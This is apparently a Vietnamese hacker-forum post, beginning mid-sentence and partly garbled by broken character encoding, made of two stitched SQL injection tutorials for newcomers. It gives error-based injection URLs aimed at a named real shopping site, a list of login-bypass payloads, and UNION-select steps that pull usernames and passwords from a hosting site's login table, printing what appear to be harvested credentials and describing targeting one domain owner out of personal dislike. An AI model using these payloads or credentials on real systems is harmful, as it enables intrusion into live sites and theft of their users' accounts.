có kí tự comment kiểu như ‘—‘ như trong MSSQL ,nếu có thì ko còn gì để nói …mình thì chỉ có vài kinh nghiệm sơ
sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban
Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái
host tạm để test
Ok …linktest
http://b.domaindlx.com/philips/asp/shopadmin.asp
QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid='
QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3:
Incorrect syntax near ''.
2 : SELECT *
3 : FROM config
4 : WHERE ID=#storeid#
5 : </CFQUERY>
Chậc sao nhòm cái error wen wá dzậy trời ... Giờ ta thử 1 chút xem sao
QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20table_name%20from%20information_schema.tables))--sp_password
QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'administration' to a column of data type int.
Hay quá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à quên ... với thằng này bạn không thể
lấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một ... Không hiểu sao ... Kệ ... Có còn hơn không
nha
QUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20username from administration]http://www.channel69shopping.com/store/aff...%201%20username[/url] from
administration
Username là Administrator
Login đi thôi
http://www.channel69shopping.com/store/admin
Đã check thành công post cho các bác newbie như destroyer thực hành
hope success
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Trong bà i viế t nà y, tôi sẽ có kè m theo quá trình inject mô ̣t website và lý thuyế t cơ bả n về SQL injection để cá c ba ̣n có
thể hiể u rõ hơn. Nhưng có lẽ là chỉ cho newbie thôi, khi nà o rỗ i tôi sẽ viế t và hướ ng dẫn advance sql injection, tấ t
nhiên có kè m theo mô ̣t site để cá c ba ̣n thư ̣c hà nh.
Sql injection đang dầ n phổ biế n hiê ̣n nay, và có lẽ lỗ i nhiề u nhấ t vẫn là ở cá c site MS SQl. Nó rấ t nguy hiể m, nó cho
phé p chú ng ta login mà không cần username và password, remote execution, dump data và truy xuấ t username +
password ra ngoà i bằ ng cá ch input cá c query/command vào input trước khi chuyển cho ứng dụng web xử lí. Để thử
xem site đó có bi lỗ
̣ i hay không, ba ̣n thử input và o cá c field username và pass bằ ng :
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
'or''='
và cò n rấ t nhiề u nữ a tôi không tiê ̣n viế t ở đây. Rấ t có thể ba ̣n sẽ login đươ ̣c và o vớ i quyề n admin hoă ̣c mô ̣t user nà o
đó . Nhưng ở bà i viế t nà y tôi nó i đế n cá ch truy xuấ t username và password ra ngoà i để chú ng ta mă ̣c nhiên và o trong
CP.
Ở đây, tôi sẽ lấ y ra mô ̣t site bấ t kỳ , nhưng khi ba ̣n muố n tấ n công mô ̣t trang nà o đó thì la ̣i khá c, ba ̣n phả i bỏ công ra
tìm link nhiễm.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there
is no GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Ok rồ i : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause.
Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function
or the GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
La ̣i lấ y đươ ̣c thêm mô ̣t cô ̣t nữ a rồ i. Ba ̣n thay và o : (thêm 1 cô ̣t và ngăn cá ch bằ ng dấ u phẩ y)
Ba ̣n cứ là m thế để lấ y cá c table củ a nó . Tôi đã lấ y sẵn ra cho cá c ba ̣n :
hì, chắ c cá c ba ̣n sẽ hỏ i mấ y cá i thằ ng 1,1,1,1,1 là gì sao la ̣i đă ̣t ở đó , nó i nôm na và dễ hiể u cho newbie luôn là cá c ba ̣n
đế m xem có bao nhiêu cô ̣t ngoa ̣i trừ cô ̣t Username và thay cho mỗ i cô ̣t đó là 1 . thế thôi. Cò n thằ ng UserName > 'h' à ,
nó sẽ "xuấ t" ra mô ̣t username bấ t kỳ bắ t đầ u bằ ng letter 'h' .
Nó bá o :
Syntax error converting the nvarchar value 'h20h20' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Cườ i tươi xem nà o, có 1 thằ ng username là m cả nh rồ i nhé . Muố n biế t password củ a ná o thì là m như sau :
Ta thay sau UserName là dấ u = 'username vừ a lấ y đươ ̣c'--
Nó bá o :
Syntax error converting the nvarchar value 'legogame' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì, password là legogame kìa, ba ̣n login đi, cò n chờ gì nữ a.
* Note :
nó sẽ lấ y ra mô ̣t username khá c. Nế u ba ̣n muố n username bắ t đầ u bằ ng B chẳ ng ha ̣n, thì thay bằ ng 'b'-- thế thôi.
trong trườ ng hơ ̣p ba ̣n muố n tấ n login và o mô ̣t domain nà o đó đinh trướ c thì thay cô ̣t DomainName và o cô ̣t UserName.
Ví du ̣ , tôi ghé t thằ ng maika, nó có cá i domain là H0MES4RENT.com mua ở đó thì tôi muố n biế t password củ a nó ta
dù ng :
Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì password là joepinguelo rồ i nhé , la ̣i lấ y username củ a nó đi :
'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--
Kế t quả :
Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Password : joepinguelo